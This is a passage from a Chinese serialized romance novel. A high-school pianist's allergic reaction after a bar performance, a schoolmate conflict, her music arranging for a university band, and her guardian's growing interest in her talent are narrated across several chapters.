被迫做东的那位似乎格外忙,不知什么时候讲电话去了。
程斯年说:“不用管他,你们点你们的。”
宋司雾和姜莱研究起菜单,两人商量了会儿,一人要了份沙拉。
等餐的时候,程斯年问:“刚才演出的造型很有记忆点,自己设计的?”
宋司雾说:“姜莱帮我搭的。”
程斯年点了点头,笑说:“审美不错。”
姜莱满意地抬起下巴,大方接受:“那当然,当我那么多年时尚杂志白看的?”
程斯年:“你们是在读高中?”
姜莱:“是啊。”
“哪个学校?”
“南城一中。”
程斯年露出一副了然的神情,端起玻璃杯笑了笑,“那你们一定认识连桐了。”
姜莱有些纳闷,凑到宋司雾耳边问:“他为什么会提连桐?”
宋司雾浅尝一口柠檬水,低声解释:“连桐的妈妈和顾叔叔是姐弟。”
姜莱张了张口,难掩惊讶,“可是顾淮序看起来很年轻啊!”
完全不像上一辈人的样子。
宋司雾轻咳两声。
意识到有点激动过头,姜莱又凑近了些,压低声音问:“他多大了?”
“我不知道。”
“你没问过吗?”
“没有。”
“我猜他最多三十岁。”
“嗯。”
“二十多岁也说不定。”
宋司雾没有特别关注过这一点,可能是因为她对顾淮序的“身份”没有明确的定位。
既不完全把他当作长辈,也不可能把他当朋友,大概处于一个难以界定划分的位置。
过了大约十分钟,服务生把食物送上来。
蟹肉三文鱼芦笋沙拉,金枪鱼虾仁玉米沙拉,还有两块重芝士蛋糕。
“两位,你们的餐齐了。”
姜莱翻出小票,“你弄错了吧,这蛋糕不是我们的。”
服务生微笑道:“甜品是老板赠送的,我们店很受欢迎的招牌cheese蛋糕。”
姜莱把那份蟹肉三文鱼的沙拉推到宋司雾面前,小声嘱咐她:“蛋糕你就别吃了,多吃点肉。”
说完掏出手机迅速拍了几张照片,然后拿起叉子埋头苦干。
舒沁补完妆回到吧台,在两个女孩对面坐下,“味道怎么样?”
姜莱和宋司雾相视一眼,没有说话。
舒沁温和地笑:“不用紧张,我不是来让你们刷好评的,只是例行询问下菜品是否合口。我想听点真实反馈,也好让后厨参考改进。”
姜莱拖长语调哦出声,“我觉得挺好的,之前我一直觉得在酒吧点吃的是大怨种,明明可以直接抢钱还偏要给我一份预制餐,没想到这里吃的味道还不错。”
“没拉胯就好。”
“完全不会!”
舒沁问:“你们是第一次过来玩?”
姜莱说:“我之前跟朋友来过,宋宋是第一次。”
舒沁点点头,“自己来的,男朋友呢?”
“啊?我吗?”姜莱没反应过来。
舒沁眯了眯眼,故意逗她,“你有男朋友?”
“没有没有,我没有。”姜莱迅速否认,目光下意识往台上某个身影瞥了一眼。
舒沁笑出声,手指轻轻捏上酒杯,问宋司雾:“你刚才的表演特别出色,是有专业学过?”
宋司雾点头。
舒沁好奇:“以前玩过乐队?”
宋司雾沉默了一瞬,“这种的没有。”
舒沁略有些吃惊,笑了笑,毫不吝啬地夸奖:“这么有天赋,恐怕要羡煞很多人了。”
宋司雾垂眼,没说什么。
她的性格往好听了说是乖巧文静,说穿了是有些冷漠孤僻。
世人窥见的那些长袖善舞、游刃有余,对她来说更多只是生存手段而已。
若叫她讲真话,她恐怕会说“谢谢夸奖,我知道我很有天赋”这种旁人听来很有些恃才傲物、自命
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不凡的话。
拥有天赋的人当然自知,因此很多时候她觉得大方承认没什么问题,过分自谦才是一种真正的傲慢。
就像某位乐坛著名的女歌星在获奖时的发言一样:我会唱歌我知道,所以对于评委对我的肯定,我也给予充分的肯定。
舒沁端起伏特加喝了一口,继续说:“之前他们换过两个键盘手,水平都很一般。我记得上回来的那个长发男,穿黑色紧身衣,一边伴奏一边对着台下秀胸肌。演出结束后前台收到客诉,说他跑到包厢性骚扰……真无语,我这儿又不是gay吧。”
宋司雾:“被骚扰的客人是……”
舒沁:“男的。”
“……”
这段话信息量太大,听得宋司雾一愣一愣的,一旁的姜莱早已笑得乐不可支。
舒沁耸了耸肩,“没办法,开门做生意,免不了遇到一些烂人。不过你们放心,这儿到处都是监控,闹事的一抓一个准。”
说不清是错觉还是什么,舒沁说这些话好像在为刚才后厅发生的事安抚她似的。
心不在焉地吃了会儿东西,台上已经换了一个歌手,抱着吉他唱近几年很火的一首民谣。
舒沁问宋司雾:“既然喜欢音乐,为什么不去读音乐附中,走专业道路难道不好吗?”
宋司雾拿起柠檬水喝了一口,可能是泡得久了,回味有些苦涩。
她端着杯子,嘴角弧度清浅,“有些东西只能喜欢。”
舒沁淡淡一笑,没有反驳,起身招呼酒保送来两杯可尔必思,“今天刚上的新品,你们尝尝,也给我提提意见。”
半透明的饮料,入口很清爽,有一些乳酸菌的味道,一点点刺激的气泡在舌尖来回跳动。
宋司雾一边品尝,目光一边不由得落在舒沁身上。
她从没见过这样的女人。
脸庞精致,身材火辣,画着上挑眼线,肤白唇红,笑起来时眉眼生动,仿佛只要她勾勾手指,就能迷倒一大片人。
舒沁刚坐下没一会,就凑过来几个年轻男人搭讪。
她也不恼,脸上挂着笑,三言两语就把人打发了。
“没看见我正和妹妹们聊天呢。女士局,别扫兴。”
男人们被拂了面子也依旧揣着笑脸,装作很有风度的样子返回卡座。
一旁的程斯年自始至终没出来拦过,只看戏。
也就这几个人不自量力,常来酒吧又了解舒沁背景的熟客,大抵都没胆量过来搭讪。
这顿夜宵基本吃完顾淮序才回来。
程斯年看他神色乏味,放下酒挪揄:“怎么,几个亿没谈拢?”
顾淮序避而不谈,目光扫到桌上的半透明饮料,神色明显有几分不悦。
舒沁笑着解释:“我请妹妹们帮忙试品。无醇的,放心。”
顾淮序面上阴云不减,淡声:“该走了。”
程斯年不乐意,“这就走?现在才十点。”
说完又想起今天有俩小姑娘在,不方便折腾,便把钥匙扔给他,“车给你,我一会儿跟舒沁的车走。”
舒沁拿出手机和两个小姑娘分别加了微信,叫她们下次来玩就报她名字,可以打折。
入夜,整条商业街笼罩着灯红酒绿声色犬马,酒吧停车场停满了奢华超跑,令人咋舌。
其中就有程斯年的那辆限量款双拼色幻影,外形和内饰都跟他本人的气质如出一辙。
代驾提前到了,宋司雾和姜莱先后上了车,顾淮序坐进副驾,让司机先送姜莱。
姜莱报完住址,笑着道谢:“麻烦您啦。”
姜莱自上车之后就在上下左右到处看,摸摸这里摸摸那里,还悄悄掏出手机拍星空顶。
宋司雾瞧她拍完照捣鼓一阵,自己兜里的手机也跟着震了两下。
划开屏幕,是姜莱发来的消息。
「这是我第一次坐劳斯莱斯[流泪]」
「希望不是最后一次」
老式居民楼,车只能停在小区门口。
姜莱道了谢,下车,提着没吃完的芝士蛋糕在窗口同宋司雾挥手,“我走啦宋宋,明天见。”
“明天见。”
从路口驶出来,开了一段路,顾淮序的声音从副驾传来,“回学校?”
宋司雾“嗯”了一声,抬手挠了下脖颈。
窗外夜色渐浓,汽车在高速上平稳行驶,两侧的灰白隔音墙如静寂的河水快速向后流动。
接下来的路程无人说话。
不知道是天气太闷还是车内冷气不足的缘故,宋司雾自姜莱下车后就觉得脑袋热热的,颈上还有些痒,估计是新衣服水洗标的关系,一直没吭声,一路坚持到学校。
顾淮序也下了车。
小姑娘站在离他一步远的路肩上,仰脸与他对视,一身无暇的白裙,仿佛天鹅引颈。
他单手抄在兜里,面色微凝,究责的话还未说出口,就注意到面前的人一直不耐地挠自己白腻的前颈和侧颊。
他眉心一紧,突然俯身凑近,脸孔在她眼中倏然放大。
“别动。”
他今晚喝了点酒,晚风裹着呼吸拂在脸上,带着低醇微凉的醉人气息。
宋司雾脸颊发烫,耳尖绯红,感觉自己快变成一只煮熟的螃蟹。
他在距离她一尺的位置停下,眉心蹙起,嗓音像低磁的大提琴,“脸怎么了?”
12. Chapter 12
月光游纱般穿过树梢缝隙,一高一矮,跌在两人肩上。
宋司雾愣了数秒,飞快地眨了眨眼。
顾淮序沉声问:“晚上吃了什么?”
他人已经退开,彼此回到社交距离,她脑袋却还是热的,说话也变得迟钝起来,“……沙拉。”
眼看她露在外面的皮肤已经起了细密的疹子,顾淮序没有耽搁,即刻带她去了医院。
到达皮肤科诊室的时候,宋司雾脸颊和脖颈上泛起的红疹愈发严重。
白皙皮肤透着肿胀的红晕,看起来触目惊心。
宋司雾被护士带到诊室里间视诊。
“从症状初步判断是过敏性荨麻疹,先让护士带她去采个血,然后去病房输液,不放心的话可以再做个过敏源筛查,以后饮食避免和过敏源接触。”
医生边写病例边说:“幸好你们来得及时,照这个发展速度,晚了要出大问题。”
采血室来往的病人比较多,护士贴心地给宋司雾拿了枚口罩挡脸。
输液时她被安排在一个独立病房,护士让她先睡一觉等药效发挥。
她自然睡不着,身上很痒又没法儿挠,这会儿跟万蚁噬心一般煎熬,只能希冀抗过敏药快一点起效。
顾淮序打完电话从走廊进来,就看见小姑娘靠在床头,对着灰白色的天花板发呆。
她脸是真的小,成人口罩遮了大半张脸,只露出两只乌溜溜的眼睛。
顾淮序走近,凉声提醒:“这没人,口罩可以摘了。”
宋司雾摇头,声音闷闷的,“摘了会想挠。”
顾淮序看她一眼,“很痒?”
宋司雾不吭声。
他看着她,眸色平淡,“以前没听你提过。”
她眨眨眼,“什么?”
“过敏。”
宋司雾想了想,觉得没什么可说的,以前冯继和吴晓岚从不管这些,小病小痛基本凭自己熬,要不就去校医室拿点药对付一下。
“知道过敏源吗?”
“乳制品,牛奶之类的……其他的不清楚。”
顾淮序默了一瞬。
难怪每回吃饭从不见她碰这类食物。
顾淮序交代:“以后外出就餐要主动说明忌口,知道吗?”
宋司雾点头。
病房里只点了一盏床头灯,幽冷的白光洒在她脸上,把轮廓勾勒得更加嶙峋。
顾淮序眉心微拢,“静脉输液会比口服药起效快,最多一小时,症状就能明显缓解。”
宋司雾嗯了一声。
从小到大她过敏已是家常便饭,不严重的情况吃药即可缓解,只是每次等抗敏药起效的过程最难熬。
顾淮序看了她片刻,突然问:“生活费不够?”
宋司雾一愣,听出他话里有话,顿了几秒,才说:“没有。”
“那为什么在酒吧演出?”
“……”
果然被看到了。
隔着口罩,她平声解释:“乐队键盘手没来,我只是临时替补。”
顾淮序整个人站在阴影之中,目光攫住她,语气少有的冷硬,“今天在后厅要是没人看见,你打算怎么办?”
“有监控,那人不敢怎样。而且现在是法制社会,他敢动我,不怕坐牢吗?”
她声音虽然低,但理直气壮,一点没觉得自己有错的样子。
顾淮序沉着脸,声音没有丝毫温度,“这就是你的回答?”
“你今年多大,需要我给你普法吗?”
宋司雾别开眼,不再说话。
实际上,她也不是那么有底气,君子不立危墙之下她还是知道,就算当时没碰见顾淮序,她也会找别人求助。
顾淮序似乎没打算从她嘴里听到满意答案,撂下一句:“你还未成年,以后这种场所不要再去。”
说完,直接出了病房。
她成功把顾淮序气走了。
临近午夜,私人医院的病房里更是安静,隔着一道门,只能听见走廊偶尔有人走动说话很轻微的声响。
宋司雾坐在病床上,感受药水一滴滴淌入自己身体。
她习惯了这种静默空荡的氛围,也不觉得有被人遗弃的失落,只觉得本应如此。
没有人有义务帮她,也没有人有义务纵容她。
顾淮序对她已经算是不错。
她确实挺麻烦的,要不是顾爷爷嘱咐,他根本不必管她的事。
没过一会儿,病房门被打开,护士拿着几包冰敷贴进来。
拆开包装,揭下薄膜,将敷贴蓝色那面轻轻放在宋司雾额头上。
“顾先生知道你难受,用这个可以稍微缓解一些。有点凉,你忍一下哦。”
冰凉的
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触感透过皮肤徐徐传来,暂时抚平了内心躁动挣扎的难耐。
她脑袋顶着敷贴,问护士:“他走了吗?”
“没有,顾先生在贵宾休息室,你要找他吗,我去帮你叫。”
宋司雾心中一怔,忙说:“不用了。”
她就问问。
护士走后,她又盯着天花板发了会儿呆,可能是冰贴削减了痒感,也可能是药物开始起效,慢慢感觉身上没那么痒了。
宋司雾把枕头放平,揭开被子一角躺了进去。
再睁眼已经天光微亮,额头上的冰敷贴不知何时被拿掉了,手背上的针头也已取走,只留下一道止血的输液贴粘着针口。
她摸了摸脖子,摘下口罩用手机照了下脸,红疹都已退了。
这会儿才凌晨五点,病房里空荡荡的,她窝在被子里划开手机,微信里有几条消息未读,是昨晚姜莱给她发的。
「宋宋你到学校了吗?」
「今天晚上你一个人在宿舍记得锁好门窗。」
「过两天社团要搞一个野外露营,听说那地方可以烧烤,到时候我们一起去吧。」
刚看完消息,护士就端着医用托盘进来了。
“你醒啦,感觉怎么样?”
宋司雾按灭手机放回枕下,“还好。”
护士冲她笑笑,“正好,过敏源筛查结果也出来了,食物过敏源主要是奶制品和坚果。顾先生说你昨晚应该是吃了坚果类的食物所以过敏,以后饮食要注意规避……”
她不记得自己昨晚吃的东西里有坚果。
“他走了吗?”
“走了,看你挂完最后一瓶水后走的。”
宋司雾微微一怔,昨天做完检查已经快十二点,等所有药水挂完起码到半夜了。
护士把检查单和新开的口服药放在床头矮柜上,“顾先生让你安心休息,等明天情况稳定了再出院。时间还早,你继续睡吧。”
护士查完房,宋司雾重新拿起手机给姜莱回消息。
视线无意识落在通讯录里那个只备注了一个“顾”字的号码上。
锁屏,放下手机,又回忆起昨晚从清吧出来时的情景。
当时侧门吵吵嚷嚷的,似乎是有个包厢的客人不满被保安强硬“请”出去。
她没看错的话,那个包厢的客人之中,就有欺负她的醉酒男。
13. Chapter 13
男人侧着脸,五官隐去大半,没有表情时显得格外严肃,像覆了一层化不开的霜。
复杂幽深的目光投过来,压迫感十足,宋司雾脊背不自觉绷直。
分明是外来的窥听者,却给人一种洞若观火的错觉。
连桐不是社团负责人,也并非此次联谊的组织者,但因为家世不俗的关系,刚上高中那会儿就顺理成章成了几个社团的核心人物。
现如今他一发话,在场的人都静了下来。
挨了单手刀和雪碧的男生这会儿也认了栽,抹了把粘腻的头发,回帐篷换衣服去了。
方才出言讥讽宋司雾的女生却还有点不服气,半开玩笑地问:“连桐,你在拍什么呀?”
连桐勾了勾唇,漫不经心地说:“随便拍点素材,过段时间校友会,给领导们看看社团风采。”
几位社团负责人脸上瞬间挂不住了,纷纷招呼围观的成员散开。
旁边同学扯了扯不服气女生的衣袖,低声提醒:“快走吧倩倩,他还在录呢。”
那女生低哼了一声,不甘心地甩手走了。
众人散尽,连桐瞥了眼一旁投来的两道目光,缓缓开口:“别谢我啊,不是为了帮你们。”
姜莱撇撇嘴,双手叉腰,“用得着你帮?他刚要是还敢上,我让他知道横踢的厉害!”
宋司雾没作声,余光注意到顾淮序从房车上下来了。
他身量高,下车时稍偏了下头。
挺拔修长的一道,方才那几个一米八的体育生在他面前也不够看的。
连桐喊了一声“小舅”,姜莱笑着打招呼:“叔叔好,我是姜莱,上次见过的。”
顾淮序点了点头,目光越过两人看向宋司雾。
宋司雾只好跟着喊了一声,“……顾叔叔。”
他今天穿一件低饱和的灰色衬衫,款式偏休闲,领口扣子解开两颗,衣摆收进同色系长裤里,外套搭在臂弯间,清矜之余平添几分落拓。
顾淮序视线扫过宋司雾,她衣服袖口上洇湿了一小片,估计是刚才泼人时溅到的。
他交代连桐:“带她们进去清理一下。”
连桐撇了撇嘴,不大情愿地应了一声。
宋司雾垂眼,刻意避开某道审视的目光,擦肩而过时还是被叫住。
顾淮序:“你们先去,我和她说几句话。”
宋司雾进退维谷,只得立在原地。
视线里一双黑色皮鞋慢慢走近,鼻尖嗅到一股幽微的木质调的青松冷香,和她身上甜腻的雪碧味形成鲜明对比。
不确定他是否还在为上次酒吧的事生气。
她给他发过短信,大致意思是谢谢那晚的照顾,但顾淮序一个字没回,可能是太忙没看到或者根本懒得理会,毕竟那天都被她气走了。
顾淮序单手抄在兜里,语气如常:“过来联谊?”
宋司雾愣了下,淡淡嗯一声。
“加入哪个社团了?”
“没有,我陪姜莱来的。”
顾淮序瞧着她,声音听不出太多起伏,“和同学有矛盾?”
宋司雾没什么可辩解的,她一向是人不犯我我不犯人。
刚才那幕他都看见了,怎么说她都占理,就是不知道他是什么时候来的,又看到听到了多少。
顾淮序目光一错不错地罩在她身上,像是在等,看她准备撑到什么时候开口。
她被这种如有实质的注视盯得浑身难受。
最近似乎总是这样,回回撞上枪口,大概这就是姜莱口中的“水逆”。
宋司雾呼出一口气,直直抬眸,声音平定无澜,“他们造我的谣,我还击理所当然。”
这样从容坦率的眼神,没有沾染成人世界的污浊,仅少年人独有的无所畏惧和横冲直撞。
顾淮序低头看着她,出乎意料地给出一句评价:“嗯,身手不错。”
“……”
这是在夸她吗?
宋司雾一时不知道该说什么,不尴不尬地沉默了会儿。
他朝她伸出手,摊开掌心,“手机。”
宋司雾有些莫名,顿了几秒,垂在腰侧的手臂弯起,把手机交出去。
顾淮序接过,稍顿一下。
小姑娘用东西很爱惜,手机套在透明软壳里,锁屏壁纸是一幅油画,他略有些印象,似乎是某个法国画家的作品。
一个幽灵般的白衣女人正坐在琴凳上弹钢琴。
拇指上划直接进入主界面,顾淮序微不可察地凝起眉宇,“没设锁屏密码?”
“没有,里面没存东西。”
她说得不错,桌面上拢共没几个软件,背景壁纸和锁屏界面不同,是一篇钢琴曲的五线谱。
他有印象,是赫尔巴赫的夜曲第七章。
宋司雾抬了抬眼,看着顾淮序点开相册,找到唯一的视频,隔空投送到他手机上。
做完这一切,他将手机递还给她,交代道:“视频不要删,下次有人问起,就说已经做了证据保全,记住了吗?”
他嗓音很淡,谈论天气般的自然口吻,却莫名叫人心安。
宋司雾顿了两秒,才喃喃开口:“我还以为……”
“以为什么?”
她摇了摇头,“没什么。顾先生要是没别的事,我就先进去了。”
顾淮序颔首,“去吧。”
房车的内部布局很像酒店,各种设备一应俱全。
方才顾淮序坐的位置上摆着一杯咖啡,已经见底。
姜莱站在洗手池边,正在擦袖子上的雪碧,见她进来,递来一块干净毛巾,好奇地问:“他跟你说什么了?”
宋司雾说:“没什么。”
清理完衣服出来,顾淮序已经不在了,外面只剩下那台无人机。
姜莱问连桐:“你小舅呢?”
连桐探头出来看了看,“估计走了吧。他们研发中心离这儿很近,今天是过来做野外飞行测试的。”
宋司雾顿了一下,问:“刚才是你发现我们在吵架?”
连桐冷哼一声,“谁有空管你们?是小舅让我把无人机开回来,刚好拍到你们那出精彩好戏……”
宋司雾一愣,原来是他。
姜莱瞪了连桐一眼:“你那嘴要不会说话就捐了。”
连桐无所谓地笑笑:“我还想问呢,你怎么认识我小舅的?”
姜莱当然没说酒吧那天的事,随便扯了个理由糊弄过去。
西郊的事过后,连桐自认和宋司雾的关系稍稍缓和了一些,至少不像从前那般剑拔弩张。
国庆假期结束后,高三年级的第一次月考成绩公布。
连桐之前对学校这些排名很少关心,他早就在准备留学申请,毕业后直接出国。
南城一中教学区与操场之间设有几排宣传栏,其中一栏已被换成高三年级月考成绩公示榜,排名前一百的学生上榜。
令所有人意外的是,宋司雾的名字竟然出现在年级前十的名列。
名次公布后,其他理重班的那帮尖子生每次路过十四班时,都有意无意地从窗口投来探究的目光,好奇能从普高杀出重围的黑马到底是何许人也。
尽管围绕宋司雾的各种非议依旧没断,但不论如何,她都用实力狠狠打了那些唱衰她的脸。
至于那天出言不逊的七班女生,不知道为什么,后来每次碰到宋司雾都跟见了鬼似的,没过几天就听说转学去了外市。
这天放学,连桐觑见宋司雾在座位上收拾完书包,独自往车库的方向去了。
他跟在她身后,伸手勾住她的书包拎带,“这么重?每天背着来回也不嫌累。”
宋司雾还和之前一样没有好什么脸色,转头瞪他一眼。
连桐无所谓地笑笑,松开手,瞧着她走到一辆自行车旁开锁。
她头上扣了顶深蓝色鸭舌帽,做旧的牛仔布材质,身上一件黑色薄外套,中长款,长度堪堪盖过校服裙摆,脚上米色帆布鞋,露出一截细白的小腿。
这一身胡乱混搭对连桐这个时尚潮人来说简直不忍直视。
尽管如此,他还是在她起身回头看向他的那刻有一瞬间的滞愣。
天色醺黄,缕缕晚霞透过车库窗户的落在她身上,衬得发丝微微反出金黄色的光。
她头发整体是深棕而非自然黑,发尾处更甚,那是青春期营养不良的表现。
宋司雾站直身,神色平淡到冷漠,“有事吗。”
连桐回过神,随口问:“晚自习不上了?”
宋司雾嗯了一声。
“去哪儿?”
她推车往外走,“回家。”
连桐手抄在兜里,和她并排,“你租的房子就在附近,用得着骑车?”
宋司雾从宿舍楼搬出来之后,相当于走读生,按规定可以不上晚自习。
连桐低下头,扫了眼自行车标,问她:“新买的?”
“问姜莱借的。”宋司雾说,“没花顾爷爷的钱。”
连桐:“……”
这人还挺记仇。
连桐问:“你借她车干嘛?”
“不干嘛。”
连桐踢一脚路边的石子,“你跟我说话就不能态度好点儿?”
宋司雾停下脚步,偏头看他一眼,没有继续浪费时间,蹬上脚踏,直接骑车走了。
骑行穿过几条街道,最终在南大后门停下。
身后跟来一道自行车胎急刹的声音。
宋司雾回过头,连桐正跨着蓝色共享单车,车座被拉到最高点,两条腿大剌剌支在身侧,姿态闲逸地看着她。
“不是说回家吗?”他掏出手机把车锁了,踱步到她跟前,“还想跑,我骑共享单车都比你快。”
月考成绩出来后,班里关于宋司雾的八卦就传得更凶。
连桐听住在附近的男生议论说,最近总能在南大后门看见她,今天跟来一瞧果然不假。
宋司雾没功夫跟他斗嘴,正要走,就见不远处李寻穿过校门闸机朝他们走来。
他一身黑色球衣,露出精实的胳膊和小腿,额角处还有汗珠,多半刚从篮球场下来。
李寻手插在腰腹两侧,看了眼宋司雾身旁的男生,问:“你同学?”
宋司雾点一下头,简单介绍了两句。
连桐微抬下巴,明显对这个突然冒出来的“学长”没什么好感,目光自上而下地巡视——染发,耳洞,纹身。
他眯起眼,下颌绷紧,咬了咬后槽牙。
两人身高差不多,这会儿在宋司雾身边一左一右站着,气氛微妙,在外人看来颇有点两个男生为同一个女孩较劲的意思。
李寻倒是神色如常。
他率先打破僵局,让宋司雾在门口稍等,自己去便利店买水,留下宋司雾和连桐站在原地大眼瞪小眼。
连桐原本觉得和宋司雾关系已经缓和,没必要再针锋相对,可这会儿张嘴却说不出什么好话。
“还没考上南大呢,就天天往这儿跑,当自己稳了是吧?”
宋司雾别开脸,不想跟他吵,连桐却没完没了,“你每天来这儿就是为了找他?”
连桐觉得她脑袋不是被门挤了就是被驴踢了,上赶着来见这种不良青年。
“不关你的事。”
又是这一句。
连桐拧着眉,恶狠狠瞪她,“我看见了就关我的事。”
宋司雾漠然地看他一眼,不再说什么,转头就走。
“喂!你去哪?”
连桐喊了两声,宋司雾充耳不闻,他站在原地点了点头,气极反笑,朝她背影扔下一句:“玩火自焚有你后悔的时候!”
两人不欢而散。
连桐走后,李寻拎着三瓶水回来了,瞧见宋司雾背着包,一个人站在后门闸机口等。
他走过去,把矿泉水和一张校园卡递给她。
宋司雾接过,“谢谢。”
李寻说:“不客气,你用完之后还是放回八舍宿管室。”
“好。”
“你同学呢?”
“走了。”
李寻见她这态度也就没再问下去。
两人一前一后刷卡进校,沿着林荫道走了一段,李寻低头去看她,“你录的demo我听了,是我要的那个感觉。”
“嗯,整首的我今天给你。”
前几天李寻联系宋司雾,想让她给“湛蓝”的一首新歌编曲,她花了点时间先做了个初版。
“不急。你觉得歌词写得怎么样?”
“还可以。”
李寻笑笑,知道这是敷衍的说辞。
宋司雾说:“我只负责编曲,写词的事我的看法不具有参考价值,你可以去问更专业的人。”
李寻点点头,不觉得她自诩在音乐方面的专业有什么不妥,她确实比很多人都要更有天赋。
“我听姜莱说你在一中理科班,不想考音乐学院?”
宋司雾:“不考。没钱。”
李寻扬唇,因为她的直接。
确实。
类似音乐美术这些专业,哪一项不需要烧钱。
单说艺考前找专业院校教授辅导的费用就不是一般家庭负担得起的。
李寻本想邀请宋司雾加入“湛蓝”,成为他们的一员,但却被她拒绝了。
一场商演报价不贵,但也不算少,作为兼职来说,收入还是很客观的。
宋司雾一向剔透,她好不容易进了一中,没理由分心到其他方面,顾此失彼。
李寻尊重她的选择,也就没再坚持。
只说以后有机会还可以一起上台演出,就算是飞行队员,报酬照给。
李寻:“吃晚饭了吗,一起去?”
“不了,我直接去活动室。你们排练的时候告
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诉我。”
李寻笑着点了点头,“好。”
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这周在南城大学有一场校企研讨会,顾淮序带着助理和研发团队的几个核心成员参加。
这几年顾氏和南大国家实验室一直保持着密切合作,研发团队中有几位成员就是这所985高校毕业的,对母校感情很深,其中就包括顾淮序的研究生同学郑轻舟。
两人都在慕尼黑工业大学读工科,顾淮序是本硕连读继续申请了PhD,郑轻舟则是硕士毕业后才出国攻博。
研讨会结束后,听闻南大这几天正好在办社团招新,郑轻舟直道遗憾,要不是下午有其他行程安排,真该去现场一睹风采。
中午一行人到了餐厅,郑轻舟又在饭桌上说起当年在南大玩乐队的热血事迹。
有人感叹:“没看出来啊,郑博还是个rocker。”
郑轻舟摆摆手,直说自己水平一般,“今年的几支乐队我看了,有个叫‘湛蓝’的还不错,他们新歌的排练视频在微博上转载量还挺高的。最近换了一个键盘手,看样子不像是半路出道,明显有古典乐的底子。”
郑轻舟从平板电脑里找出视频,递给其他同事。
顾淮序坐在他右手边,目光自屏幕一扫而过,平寂无澜。
有人问另一位已婚的工程师:“你儿子不也一直在学钢琴吗,有没有考虑让他以后走这条路?”
那位工程师笑说:“他琶音都还没学会,哪儿能考虑那么远。我和他爸也没想太多,只当给他培养个兴趣爱好吧。”
郑轻舟点点头,“真要走专业路子,天赋和勤奋缺一不可。”
平板递了一圈回到郑轻舟手里,有同事还在开他玩笑,怂恿他下次公司年会来一段现场live,让大家开开眼。
郑轻舟随意笑笑,选择把顾淮序拉下水,“我就不班门弄斧了,有机会叫顾总给你们露一手,他的钢琴水平可是一流。”
顾淮序斜睨他一眼,又听郑轻舟继续和众人描补,说两人在德国留学的时候,顾淮序曾在某个小众乐团待过。
那时候乐团遇到点麻烦,经营状况不善,自从他加入之后,硬是凭一己之力把整个乐团救活了——只不过靠的不是技术,而是脸。
今天这桌除了郑轻舟,其他人对这位年轻有为的集团CEO都颇为畏忌。
传闻他在留学期间不仅各项奖学金拿到手软,IF等水准的工业设计金奖也拿了个遍。
对于这种天之骄子,外人不免给他打上各类标签,认为他难以相处。
实际上,除开工作上的雷厉风行,私下的顾淮序大多数时候还算温和,身上并没有太多上位者的倨傲。
待郑轻舟讲完,坐在主位的顾淮序不疾不徐气定神闲地回了一句:“我记得当时那个乐团,是某人为了找借口追大提琴手求着我去的。忘了?”
郑轻舟:“……”
哪壶不开提哪壶。
郑轻舟被噎得不轻。
论腹黑毒舌他比不过顾淮序,打个哈哈把这页揭过去。
饭局结束回到车上,助理林渊告诉顾淮序,冯继案子的相关资料律师已经整理好发到他邮箱了。
“您交代的那件事,我联系学校保卫处查了监控,确实没拍到有人进宋小姐宿舍。视频我拷了一份拿给技术部门分析了,结果暂时还没出来。”
顾淮序:“嗯。”
之前背调宋司雾的内容他没来得及细看,听林渊汇报了个大概。
这会儿拿过平板电脑,随手点开一份文件,第一眼被右上角的一寸免冠小照吸引。
明净素然的一张脸,头发全部拢在耳后,湿黑的眼睛注视着镜头。
唇线绷紧,唇角微微向下,眼神透露一股子倔强。
照片附在入学材料上,应该是近期拍的。
另一份是影像资料合集,其中一段是宋司雾幼年参加钢琴比赛的现场录像。
彼时她个头和钢琴一般高,穿着浅紫色公主裙和圆头小皮鞋,昂首挺胸走上台,用稚嫩的童声向观众席自我介绍,然后提着裙摆坐上琴凳开始演奏。
贝多芬的月光奏鸣曲第三乐章。
演奏震慑人心,惊叹全场。
她的确天赋异禀,拥有浑然天成的实力。
面对台下老师的点评,她也不羞不怯,大大方方回应。
顾淮序又调出那段微博视频。
面积不大的排练室里,灯光不甚明亮,她穿一件灰色连帽卫衣坐在角落,动作熟稔地操作着合成器,给主唱的男生伴奏。
歌是一首蓝调布鲁斯,音色低沉,旋律丧颓,高潮部分又很有种压抑之后索性抛开一切的尽情宣泄。
这条视频转评赞过万。
视频文案里注明了歌曲的编曲者:Sue。
他记得宋正韬的妻子当年便是南城音乐学院的编曲老师。
女承母业,倒不算辜负。
关掉平板,顾淮序问助理:“我记得你也是南大毕业的?”
林渊坐在副驾,微侧过身回答:“是的,南大金融系。”
顾淮序思忖片刻,“南大有音乐专业?”
“没有,艺术学院只有艺术和戏剧类专业,不过学校划了专门的活动中心给音乐类社团,学生需要的话可以预约钢琴教室排练。”
林渊以为老板还在问方才饭桌上的话题,便凭自己的了解多说了几句。
顾淮序嗯了一声,他很难将视频里的键盘手与当年那个弹月光的小女孩联系在一起。
短短几年,她眼神中早已没了过去的神采,每每望向他时,眸子仿佛覆了层薄霜一般,沉郁空寂。
仿佛一间埋在漆黑地下的暗室,常年缺少阳光,不曾被照亮。
唯独全心投入音乐时,那副躯壳才恢复一些生气,如同重新拥有灵魂。
前些天他带研发团队在西郊附近测试,技术人员做准备的时候去连桐那儿坐了会儿,恰巧看到她和人对峙那幕。
小姑娘面对众议不卑不亢,默默拿出手机录像,保留证据。
还有在酒吧那天。
换做别的女孩碰上那种事情恐怕要哭断肠,她倒是一滴眼泪没流。
璞玉蒙尘的事他见过不少。
很多人眼里这世上遍地是金子,却也有很多金子缺少被看到的机会。
郑轻舟有句话说得不错,走音乐这条路的,天赋和勤奋缺一不可。
上回宋司雾过敏进医院,舒沁联系他问小姑娘的情况。
舒沁告诉他,那天她问她为什么不走专业道路。
舒沁在电话那头笑说:“你猜她回我什么?”
——有些东西只能喜欢。
那晚在清吧舞台上看她弹琴,那沉浸的姿态和平日判若两人,无端叫顾淮序想起“珠玉蒙尘,不掩其光”的下一句:
假以时日,成败自有定论。
14. Chapter 14
周末,长三角大部分区域伴随降雨开始大幅降温。
宋司雾照旧在南大待到傍晚,从后门出来时天空阴沉沉的,雨还未停,潮湿水汽弥漫在空气当中。
她今天没骑车,附近的公交站台距离不远,步行过去大约十分钟。
街边店铺的灯光多数亮起来了,她撑着伞,专心看脚下,绕开人行道上的水洼,迈过一块块青灰地砖。
淅淅沥沥伴着踩水声,走了一路,未察觉机动车道上有辆车跟在身后。
等她在公交站台的屋檐下站定,那辆黑色卡宴才缓缓滑到面前。
副驾车窗降下,看清来人的一瞬她下意识捏紧伞柄。
一道沉肃的男声穿过雨幕,“上车,带你去个地方。”
宋司雾一愣,“去哪?”
